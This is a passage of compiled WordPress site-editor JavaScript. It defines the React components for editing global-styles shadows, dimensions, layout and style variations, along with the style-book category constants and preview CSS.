20396 external_wp_components_namespaceObject.Flex,
20397 {
20398 className: "block-editor-shadow-edit-modal__actions",
20399 justify: "flex-end",
20400 expanded: false,
20401 children: [
20402 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20403 external_wp_components_namespaceObject.Button,
20404 {
20405 __next40pxDefaultSize: true,
20406 variant: "tertiary",
20407 onClick: () => setIsRenameModalVisible(false),
20408 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
20409 }
20410 ) }),
20411 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20412 external_wp_components_namespaceObject.Button,
20413 {
20414 __next40pxDefaultSize: true,
20415 variant: "primary",
20416 type: "submit",
20417 children: (0,external_wp_i18n_namespaceObject.__)("Save")
20418 }
20419 ) })
20420 ]
20421 }
20422 )
20423 ]
20424 }
20425 )
20426 }
20427 )
20428 ] });
20429}
20430function ShadowsPreview({ shadow }) {
20431 const shadowStyle = {
20432 boxShadow: shadow
20433 };
20434 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginBottom: 4, marginTop: -2, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20435 external_wp_components_namespaceObject.__experimentalHStack,
20436 {
20437 align: "center",
20438 justify: "center",
20439 className: "edit-site-global-styles__shadow-preview-panel",
20440 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20441 "div",
20442 {
20443 className: "edit-site-global-styles__shadow-preview-block",
20444 style: shadowStyle
20445 }
20446 )
20447 }
20448 ) });
20449}
20450function ShadowEditor({ shadow, onChange }) {
20451 const addShadowButtonRef = (0,external_wp_element_.useRef)();
20452 const shadowParts = (0,external_wp_element_.useMemo)(() => getShadowParts(shadow), [shadow]);
20453 const onChangeShadowPart = (index, part) => {
20454 const newShadowParts = [...shadowParts];
20455 newShadowParts[index] = part;
20456 onChange(newShadowParts.join(", "));
20457 };
20458 const onAddShadowPart = () => {
20459 onChange([...shadowParts, defaultShadow].join(", "));
20460 };
20461 const onRemoveShadowPart = (index) => {
20462 onChange(shadowParts.filter((p, i) => i !== index).join(", "));
20463 addShadowButtonRef.current.focus();
20464 };
20465 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20466 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 2, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", children: [
20467 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: (0,external_wp_i18n_namespaceObject.__)("Shadows") }),
20468 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { className: "edit-site-global-styles__shadows-panel__options-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20469 external_wp_components_namespaceObject.Button,
20470 {
20471 size: "small",
20472 icon: plus_default,
20473 label: (0,external_wp_i18n_namespaceObject.__)("Add shadow"),
20474 onClick: () => {
20475 onAddShadowPart();
20476 },
20477 ref: addShadowButtonRef
20478 }
20479 ) })
20480 ] }) }),
20481 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {}),
20482 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: shadowParts.map((part, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20483 shadows_edit_panel_ShadowItem,
20484 {
20485 shadow: part,
20486 onChange: (value) => onChangeShadowPart(index, value),
20487 canRemove: shadowParts.length > 1,
20488 onRemove: () => onRemoveShadowPart(index)
20489 },
20490 index
20491 )) })
20492 ] });
20493}
20494function shadows_edit_panel_ShadowItem({ shadow, onChange, canRemove, onRemove }) {
20495 const popoverProps = {
20496 placement: "left-start",
20497 offset: 36,
20498 shift: true
20499 };
20500 const shadowObj = (0,external_wp_element_.useMemo)(
20501 () => shadowStringToObject(shadow),
20502 [shadow]
20503 );
20504 const onShadowChange = (newShadow) => {
20505 onChange(shadowObjectToString(newShadow));
20506 };
20507 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20508 external_wp_components_namespaceObject.Dropdown,
20509 {
20510 popoverProps,
20511 className: "edit-site-global-styles__shadow-editor__dropdown",
20512 renderToggle: ({ onToggle, isOpen }) => {
20513 const toggleProps = {
20514 onClick: onToggle,
20515 className: dist_clsx(
20516 "edit-site-global-styles__shadow-editor__dropdown-toggle",
20517 { "is-open": isOpen }
20518 ),
20519 "aria-expanded": isOpen
20520 };
20521 const removeButtonProps = {
20522 onClick: () => {
20523 if (isOpen) {
20524 onToggle();
20525 }
20526 onRemove();
20527 },
20528 className: dist_clsx(
20529 "edit-site-global-styles__shadow-editor__remove-button",
20530 { "is-open": isOpen }
20531 ),
20532 label: (0,external_wp_i18n_namespaceObject.__)("Remove shadow")
20533 };
20534 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20535 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20536 external_wp_components_namespaceObject.Button,
20537 {
20538 __next40pxDefaultSize: true,
20539 icon: shadow_default,
20540 ...toggleProps,
20541 children: shadowObj.inset ? (0,external_wp_i18n_namespaceObject.__)("Inner shadow") : (0,external_wp_i18n_namespaceObject.__)("Drop shadow")
20542 }
20543 ),
20544 canRemove && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20545 external_wp_components_namespaceObject.Button,
20546 {
20547 size: "small",
20548 icon: reset_default,
20549 ...removeButtonProps
20550 }
20551 )
20552 ] });
20553 },
20554 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20555 external_wp_components_namespaceObject.__experimentalDropdownContentWrapper,
20556 {
20557 paddingSize: "medium",
20558 className: "edit-site-global-styles__shadow-editor__dropdown-content",
20559 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20560 ShadowPopover,
20561 {
20562 shadowObj,
20563 onChange: onShadowChange
20564 }
20565 )
20566 }
20567 )
20568 }
20569 );
20570}
20571function ShadowPopover({ shadowObj, onChange }) {
20572 const __experimentalIsRenderedInSidebar = true;
20573 const enableAlpha = true;
20574 const onShadowChange = (key, value) => {
20575 const newShadow = {
20576 ...shadowObj,
20577 [key]: value
20578 };
20579 onChange(newShadow);
20580 };
20581 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20582 external_wp_components_namespaceObject.__experimentalVStack,
20583 {
20584 spacing: 4,
20585 className: "edit-site-global-styles__shadow-editor-panel",
20586 children: [
20587 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20588 external_wp_components_namespaceObject.ColorPalette,
20589 {
20590 clearable: false,
20591 enableAlpha,
20592 __experimentalIsRenderedInSidebar,
20593 value: shadowObj.color,
20594 onChange: (value) => onShadowChange("color", value)
20595 }
20596 ),
20597 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20598 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
20599 {
20600 __nextHasNoMarginBottom: true,
20601 value: shadowObj.inset ? "inset" : "outset",
20602 isBlock: true,
20603 onChange: (value) => onShadowChange("inset", value === "inset"),
20604 hideLabelFromVision: true,
20605 __next40pxDefaultSize: true,
20606 children: [
20607 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20608 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
20609 {
20610 value: "outset",
20611 label: (0,external_wp_i18n_namespaceObject.__)("Outset")
20612 }
20613 ),
20614 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20615 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
20616 {
20617 value: "inset",
20618 label: (0,external_wp_i18n_namespaceObject.__)("Inset")
20619 }
20620 )
20621 ]
20622 }
20623 ),
20624 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, { columns: 2, gap: 4, children: [
20625 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20626 ShadowInputControl,
20627 {
20628 label: (0,external_wp_i18n_namespaceObject.__)("X Position"),
20629 value: shadowObj.x,
20630 onChange: (value) => onShadowChange("x", value)
20631 }
20632 ),
20633 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20634 ShadowInputControl,
20635 {
20636 label: (0,external_wp_i18n_namespaceObject.__)("Y Position"),
20637 value: shadowObj.y,
20638 onChange: (value) => onShadowChange("y", value)
20639 }
20640 ),
20641 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20642 ShadowInputControl,
20643 {
20644 label: (0,external_wp_i18n_namespaceObject.__)("Blur"),
20645 value: shadowObj.blur,
20646 onChange: (value) => onShadowChange("blur", value)
20647 }
20648 ),
20649 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20650 ShadowInputControl,
20651 {
20652 label: (0,external_wp_i18n_namespaceObject.__)("Spread"),
20653 value: shadowObj.spread,
20654 onChange: (value) => onShadowChange("spread", value)
20655 }
20656 )
20657 ] })
20658 ]
20659 }
20660 );
20661}
20662function ShadowInputControl({ label, value, onChange }) {
20663 const onValueChange = (next) => {
20664 const isNumeric = next !== void 0 && !isNaN(parseFloat(next));
20665 const nextValue = isNumeric ? next : "0px";
20666 onChange(nextValue);
20667 };
20668 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20669 external_wp_components_namespaceObject.__experimentalUnitControl,
20670 {
20671 label,
20672 __next40pxDefaultSize: true,
20673 value,
20674 onChange: onValueChange
20675 }
20676 );
20677}
20678
20679
20680;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-shadows.js
20681
20682
20683
20684function ScreenShadows() {
20685 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowsPanel, {});
20686}
20687function ScreenShadowsEdit() {
20688 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowsEditPanel, {});
20689}
20690
20691
20692;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/dimensions-panel.js
20693
20694
20695
20696
20697const {
20698 useGlobalStyle: dimensions_panel_useGlobalStyle,
20699 useGlobalSetting: dimensions_panel_useGlobalSetting,
20700 useSettingsForBlockElement: dimensions_panel_useSettingsForBlockElement,
20701 DimensionsPanel: dimensions_panel_StylesDimensionsPanel
20702} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
20703const DEFAULT_CONTROLS = {
20704 contentSize: true,
20705 wideSize: true,
20706 padding: true,
20707 margin: true,
20708 blockGap: true,
20709 minHeight: true,
20710 childLayout: false
20711};
20712function DimensionsPanel() {
20713 const [style] = dimensions_panel_useGlobalStyle("", void 0, "user", {
20714 shouldDecodeEncode: false
20715 });
20716 const [inheritedStyle, setStyle] = dimensions_panel_useGlobalStyle("", void 0, "all", {
20717 shouldDecodeEncode: false
20718 });
20719 const [userSettings] = dimensions_panel_useGlobalSetting("", void 0, "user");
20720 const [rawSettings, setSettings] = dimensions_panel_useGlobalSetting("");
20721 const settings = dimensions_panel_useSettingsForBlockElement(rawSettings);
20722 const inheritedStyleWithLayout = (0,external_wp_element_.useMemo)(() => {
20723 return {
20724 ...inheritedStyle,
20725 layout: settings.layout
20726 };
20727 }, [inheritedStyle, settings.layout]);
20728 const styleWithLayout = (0,external_wp_element_.useMemo)(() => {
20729 return {
20730 ...style,
20731 layout: userSettings.layout
20732 };
20733 }, [style, userSettings.layout]);
20734 const onChange = (newStyle) => {
20735 const updatedStyle = { ...newStyle };
20736 delete updatedStyle.layout;
20737 setStyle(updatedStyle);
20738 if (newStyle.layout !== userSettings.layout) {
20739 const updatedSettings = {
20740 ...userSettings,
20741 layout: newStyle.layout
20742 };
20743 if (updatedSettings.layout?.definitions) {
20744 delete updatedSettings.layout.definitions;
20745 }
20746 setSettings(updatedSettings);
20747 }
20748 };
20749 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20750 dimensions_panel_StylesDimensionsPanel,
20751 {
20752 inheritedValue: inheritedStyleWithLayout,
20753 value: styleWithLayout,
20754 onChange,
20755 settings,
20756 includeLayoutControls: true,
20757 defaultControls: DEFAULT_CONTROLS
20758 }
20759 );
20760}
20761
20762
20763;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-layout.js
20764
20765
20766
20767
20768
20769
20770const { useHasDimensionsPanel: screen_layout_useHasDimensionsPanel, useGlobalSetting: screen_layout_useGlobalSetting, useSettingsForBlockElement: screen_layout_useSettingsForBlockElement } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
20771function ScreenLayout() {
20772 const [rawSettings] = screen_layout_useGlobalSetting("");
20773 const settings = screen_layout_useSettingsForBlockElement(rawSettings);
20774 const hasDimensionsPanel = screen_layout_useHasDimensionsPanel(settings);
20775 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20776 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(header_default, { title: (0,external_wp_i18n_namespaceObject.__)("Layout") }),
20777 hasDimensionsPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DimensionsPanel, {})
20778 ] });
20779}
20780var screen_layout_default = ScreenLayout;
20781
20782
20783;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/style-variations-container.js
20784
20785
20786
20787
20788
20789
20790
20791
20792
20793
20794
20795const { GlobalStylesContext: style_variations_container_GlobalStylesContext } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
20796function StyleVariationsContainer({ gap = 2 }) {
20797 const { user } = (0,external_wp_element_.useContext)(style_variations_container_GlobalStylesContext);
20798 const userStyles = user?.styles;
20799 const variations = (0,external_wp_data_.useSelect)((select) => {
20800 return select(
20801 external_wp_coreData_namespaceObject.store
20802 ).__experimentalGetCurrentThemeGlobalStylesVariations();
20803 }, []);
20804 const fullStyleVariations = variations?.filter((variation) => {
20805 return !isVariationWithProperties(variation, ["color"]) && !isVariationWithProperties(variation, [
20806 "typography",
20807 "spacing"
20808 ]);
20809 });
20810 const themeVariations = (0,external_wp_element_.useMemo)(() => {
20811 const withEmptyVariation = [
20812 {
20813 title: (0,external_wp_i18n_namespaceObject.__)("Default"),
20814 settings: {},
20815 styles: {}
20816 },
20817 ...fullStyleVariations ?? []
20818 ];
20819 return [
20820 ...withEmptyVariation.map((variation) => {
20821 const blockStyles = { ...variation?.styles?.blocks };
20822 if (userStyles?.blocks) {
20823 Object.keys(userStyles.blocks).forEach((blockName) => {
20824 if (userStyles.blocks[blockName].css) {
20825 const variationBlockStyles = blockStyles[blockName] || {};
20826 const customCSS = {
20827 css: `${blockStyles[blockName]?.css || ""} ${userStyles.blocks[blockName].css.trim() || ""}`
20828 };
20829 blockStyles[blockName] = {
20830 ...variationBlockStyles,
20831 ...customCSS
20832 };
20833 }
20834 });
20835 }
20836 const css = userStyles?.css || variation.styles?.css ? {
20837 css: `${variation.styles?.css || ""} ${userStyles?.css || ""}`
20838 } : {};
20839 const blocks = Object.keys(blockStyles).length > 0 ? { blocks: blockStyles } : {};
20840 const styles = {
20841 ...variation.styles,
20842 ...css,
20843 ...blocks
20844 };
20845 return {
20846 ...variation,
20847 settings: variation.settings ?? {},
20848 styles
20849 };
20850 })
20851 ];
20852 }, [fullStyleVariations, userStyles?.blocks, userStyles?.css]);
20853 if (!fullStyleVariations || fullStyleVariations?.length < 1) {
20854 return null;
20855 }
20856 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20857 external_wp_components_namespaceObject.__experimentalGrid,
20858 {
20859 columns: 2,
20860 className: "edit-site-global-styles-style-variations-container",
20861 gap,
20862 children: themeVariations.map((variation, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Variation, { variation, children: (isFocused) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20863 preview_styles_default,
20864 {
20865 label: variation?.title,
20866 withHoverView: true,
20867 isFocused,
20868 variation
20869 }
20870 ) }, index))
20871 }
20872 );
20873}
20874
20875
20876;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-global-styles/content.js
20877
20878
20879
20880
20881
20882
20883function SidebarNavigationScreenGlobalStylesContent() {
20884 const gap = 3;
20885 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20886 external_wp_components_namespaceObject.__experimentalVStack,
20887 {
20888 spacing: 10,
20889 className: "edit-site-global-styles-variation-container",
20890 children: [
20891 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleVariationsContainer, { gap }),
20892 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorVariations, { title: (0,external_wp_i18n_namespaceObject.__)("Palettes"), gap }),
20893 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyVariations, { title: (0,external_wp_i18n_namespaceObject.__)("Typography"), gap })
20894 ]
20895 }
20896 );
20897}
20898
20899
20900;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-style-variations.js
20901
20902
20903
20904
20905
20906
20907
20908
20909const { useZoomOut } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
20910function ScreenStyleVariations() {
20911 const isPreviewMode = (0,external_wp_data_.useSelect)((select) => {
20912 return select(external_wp_blockEditor_namespaceObject.store).getSettings().isPreviewMode;
20913 }, []);
20914 useZoomOut(!isPreviewMode);
20915 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20916 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20917 header_default,
20918 {
20919 title: (0,external_wp_i18n_namespaceObject.__)("Browse styles"),
20920 description: (0,external_wp_i18n_namespaceObject.__)(
20921 "Choose a variation to change the look of the site."
20922 )
20923 }
20924 ),
20925 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20926 external_wp_components_namespaceObject.Card,
20927 {
20928 size: "small",
20929 isBorderless: true,
20930 className: "edit-site-global-styles-screen-style-variations",
20931 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardBody, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenGlobalStylesContent, {}) })
20932 }
20933 )
20934 ] });
20935}
20936var screen_style_variations_default = ScreenStyleVariations;
20937
20938
20939;// external ["wp","mediaUtils"]
20940const external_wp_mediaUtils_namespaceObject = window["wp"]["mediaUtils"];
20941;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/constants.js
20942
20943const STYLE_BOOK_COLOR_GROUPS = [
20944 {
20945 slug: "theme-colors",
20946 title: (0,external_wp_i18n_namespaceObject.__)("Theme Colors"),
20947 origin: "theme",
20948 type: "colors"
20949 },
20950 {
20951 slug: "theme-gradients",
20952 title: (0,external_wp_i18n_namespaceObject.__)("Theme Gradients"),
20953 origin: "theme",
20954 type: "gradients"
20955 },
20956 {
20957 slug: "custom-colors",
20958 title: (0,external_wp_i18n_namespaceObject.__)("Custom Colors"),
20959 origin: "custom",
20960 type: "colors"
20961 },
20962 {
20963 slug: "custom-gradients",
20964 title: (0,external_wp_i18n_namespaceObject.__)("Custom Gradients"),
20965 origin: "custom",
20966 // User.
20967 type: "gradients"
20968 },
20969 {
20970 slug: "duotones",
20971 title: (0,external_wp_i18n_namespaceObject.__)("Duotones"),
20972 origin: "theme",
20973 type: "duotones"
20974 },
20975 {
20976 slug: "default-colors",
20977 title: (0,external_wp_i18n_namespaceObject.__)("Default Colors"),
20978 origin: "default",
20979 type: "colors"
20980 },
20981 {
20982 slug: "default-gradients",
20983 title: (0,external_wp_i18n_namespaceObject.__)("Default Gradients"),
20984 origin: "default",
20985 type: "gradients"
20986 }
20987];
20988const STYLE_BOOK_THEME_SUBCATEGORIES = [
20989 {
20990 slug: "site-identity",
20991 title: (0,external_wp_i18n_namespaceObject.__)("Site Identity"),
20992 blocks: ["core/site-logo", "core/site-title", "core/site-tagline"]
20993 },
20994 {
20995 slug: "design",
20996 title: (0,external_wp_i18n_namespaceObject.__)("Design"),
20997 blocks: ["core/navigation", "core/avatar", "core/post-time-to-read"],
20998 exclude: ["core/home-link", "core/navigation-link"]
20999 },
21000 {
21001 slug: "posts",
21002 title: (0,external_wp_i18n_namespaceObject.__)("Posts"),
21003 blocks: [
21004 "core/post-title",
21005 "core/post-excerpt",
21006 "core/post-author",
21007 "core/post-author-name",
21008 "core/post-author-biography",
21009 "core/post-date",
21010 "core/post-terms",
21011 "core/term-description",
21012 "core/query-title",
21013 "core/query-no-results",
21014 "core/query-pagination",
21015 "core/query-numbers"
21016 ]
21017 },
21018 {
21019 slug: "comments",
21020 title: (0,external_wp_i18n_namespaceObject.__)("Comments"),
21021 blocks: [
21022 "core/comments-title",
21023 "core/comments-pagination",
21024 "core/comments-pagination-numbers",
21025 "core/comments",
21026 "core/comments-author-name",
21027 "core/comment-content",
21028 "core/comment-date",
21029 "core/comment-edit-link",
21030 "core/comment-reply-link",
21031 "core/comment-template",
21032 "core/post-comments-count",
21033 "core/post-comments-link"
21034 ]
21035 }
21036];
21037const STYLE_BOOK_CATEGORIES = [
21038 {
21039 slug: "overview",
21040 title: (0,external_wp_i18n_namespaceObject.__)("Overview"),
21041 blocks: []
21042 },
21043 {
21044 slug: "text",
21045 title: (0,external_wp_i18n_namespaceObject.__)("Text"),
21046 blocks: [
21047 "core/post-content",
21048 "core/home-link",
21049 "core/navigation-link"
21050 ]
21051 },
21052 {
21053 slug: "colors",
21054 title: (0,external_wp_i18n_namespaceObject.__)("Colors"),
21055 blocks: []
21056 },
21057 {
21058 slug: "theme",
21059 title: (0,external_wp_i18n_namespaceObject.__)("Theme"),
21060 subcategories: STYLE_BOOK_THEME_SUBCATEGORIES
21061 },
21062 {
21063 slug: "media",
21064 title: (0,external_wp_i18n_namespaceObject.__)("Media"),
21065 blocks: ["core/post-featured-image"]
21066 },
21067 {
21068 slug: "widgets",
21069 title: (0,external_wp_i18n_namespaceObject.__)("Widgets"),
21070 blocks: []
21071 },
21072 {
21073 slug: "embed",
21074 title: (0,external_wp_i18n_namespaceObject.__)("Embeds"),
21075 include: []
21076 }
21077];
21078const STYLE_BOOK_ALL_BLOCKS_SUBCATEGORIES = [
21079 ...STYLE_BOOK_THEME_SUBCATEGORIES,
21080 {
21081 slug: "media",
21082 title: (0,external_wp_i18n_namespaceObject.__)("Media"),
21083 blocks: ["core/post-featured-image"]
21084 },
21085 {
21086 slug: "widgets",
21087 title: (0,external_wp_i18n_namespaceObject.__)("Widgets"),
21088 blocks: []
21089 },
21090 {
21091 slug: "embed",
21092 title: (0,external_wp_i18n_namespaceObject.__)("Embeds"),
21093 include: []
21094 }
21095];
21096const STYLE_BOOK_PREVIEW_CATEGORIES = [
21097 {
21098 slug: "overview",
21099 title: (0,external_wp_i18n_namespaceObject.__)("Overview"),
21100 blocks: []
21101 },
21102 {
21103 slug: "text",
21104 title: (0,external_wp_i18n_namespaceObject.__)("Text"),
21105 blocks: [
21106 "core/post-content",
21107 "core/home-link",
21108 "core/navigation-link"
21109 ]
21110 },
21111 {
21112 slug: "colors",
21113 title: (0,external_wp_i18n_namespaceObject.__)("Colors"),
21114 blocks: []
21115 },
21116 {
21117 slug: "blocks",
21118 title: (0,external_wp_i18n_namespaceObject.__)("All Blocks"),
21119 blocks: [],
21120 subcategories: STYLE_BOOK_ALL_BLOCKS_SUBCATEGORIES
21121 }
21122];
21123const ROOT_CONTAINER = `
21124 .is-root-container {
21125 display: flow-root;
21126 }
21127`;
21128const STYLE_BOOK_IFRAME_STYLES = `
21129 body {
21130 position: relative;
21131 padding: 32px !important;
21132 }
21133
21134 ${ROOT_CONTAINER}
21135
21136 .edit-site-style-book__examples {
21137 max-width: 1200px;
21138 margin: 0 auto;
21139 }
21140
21141 .edit-site-style-book__example {
21142 max-width: 900px;
21143 border-radius: 2px;
21144 cursor: pointer;
21145 display: flex;
21146 flex-direction: column;
21147 gap: 40px;
21148 padding: 16px;
21149 width: 100%;
21150 box-sizing: border-box;
21151 scroll-margin-top: 32px;
21152 scroll-margin-bottom: 32px;
21153 margin: 0 auto 40px auto;
21154 }
21155
21156 .edit-site-style-book__example.is-selected {
21157 box-shadow: 0 0 0 1px var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
21158 }
21159
21160 .edit-site-style-book__example.is-disabled-example {
21161 pointer-events: none;
21162 }
21163
21164 .edit-site-style-book__example:focus:not(:disabled) {
21165 box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
21166 outline: 3px solid transparent;
21167 }
21168
21169 .edit-site-style-book__duotone-example > div:first-child {
21170 display: flex;
21171 aspect-ratio: 16 / 9;
21172 grid-row: span 1;
21173 grid-column: span 2;
21174 }
21175 .edit-site-style-book__duotone-example img {
21176 width: 100%;
21177 height: 100%;
21178 object-fit: cover;
21179 }
21180 .edit-site-style-book__duotone-example > div:not(:first-child) {
21181 height: 20px;
21182 border: 1px solid color-mix( in srgb, currentColor 10%, transparent );
21183 }
21184
21185 .edit-site-style-book__color-example {
21186 border: 1px solid color-mix( in srgb, currentColor 10%, transparent );
21187 }
21188
21189 .edit-site-style-book__subcategory-title,
21190 .edit-site-style-book__example-title {
21191 font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
21192 font-size: 13px;
21193 font-weight: normal;
21194 line-height: normal;
21195 margin: 0;
21196 text-align: left;
21197 padding-top: 8px;
21198 border-top: 1px solid color-mix( in srgb, currentColor 10%, transparent );
21199 color: color-mix( in srgb, currentColor 60%, transparent );
21200 }
21201
21202 .edit-site-style-book__subcategory-title {
21203 font-size: 16px;
21204 margin-bottom: 40px;
21205 padding-bottom: 8px;
21206 }
21207
21208 .edit-site-style-book__example-preview {
21209 width: 100%;
21210 }
21211
21212 .edit-site-style-book__example-preview .block-editor-block-list__insertion-point,
21213 .edit-site-style-book__example-preview .block-list-appender {
21214 display: none;
21215 }
21216 :where(.is-root-container > .wp-block:first-child) {
21217 margin-top: 0;
21218 }
21219 :where(.is-root-container > .wp-block:last-child) {
21220 margin-bottom: 0;
21221 }
21222`;
21223
21224
21225;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/categories.js
21226
21227
21228function getExamplesByCategory(categoryDefinition, examples) {
21229 if (!categoryDefinition?.slug || !examples?.length) {
21230 return;
21231 }
21232 const categories = categoryDefinition?.subcategories ?? [];
21233 if (categories.length) {
21234 return categories.reduce(
21235 (acc, subcategoryDefinition) => {
21236 const subcategoryExamples = getExamplesByCategory(
21237 subcategoryDefinition,
21238 examples
21239 );
21240 if (subcategoryExamples) {
21241 if (!acc.subcategories) {
21242 acc.subcategories = [];
21243 }
21244 acc.subcategories = [
21245 ...acc.subcategories,
21246 subcategoryExamples
21247 ];
21248 }
21249 return acc;
21250 },
21251 {
21252 title: categoryDefinition.title,
21253 slug: categoryDefinition.slug
21254 }
21255 );
21256 }
21257 const blocksToInclude = categoryDefinition?.blocks || [];
21258 const blocksToExclude = categoryDefinition?.exclude || [];
21259 const categoryExamples = examples.filter((example) => {
21260 return !blocksToExclude.includes(example.name) && (example.category === categoryDefinition.slug || blocksToInclude.includes(example.name));
21261 });
21262 if (!categoryExamples.length) {
21263 return;
21264 }
21265 return {
21266 title: categoryDefinition.title,
21267 slug: categoryDefinition.slug,
21268 examples: categoryExamples
21269 };
21270}
21271function getTopLevelStyleBookCategories() {
21272 const reservedCategories = [
21273 ...STYLE_BOOK_THEME_SUBCATEGORIES,
21274 ...STYLE_BOOK_CATEGORIES
21275 ].map(({ slug }) => slug);
21276 const extraCategories = (0,external_wp_blocks_namespaceObject.getCategories)();
21277 const extraCategoriesFiltered = extraCategories.filter(
21278 ({ slug }) => !reservedCategories.includes(slug)
21279 );
21280 return [...STYLE_BOOK_CATEGORIES, ...extraCategoriesFiltered];
21281}
21282
21283
21284;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/color-examples.js
21285
21286
21287
21288
21289
21290const ColorExamples = ({
21291 colors,
21292 type,
21293 templateColumns = "1fr 1fr",
21294 itemHeight = "52px"
21295}) => {
21296 if (!colors) {
21297 return null;
21298 }
21299 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, { templateColumns, rowGap: 8, columnGap: 16, children: colors.map((color) => {
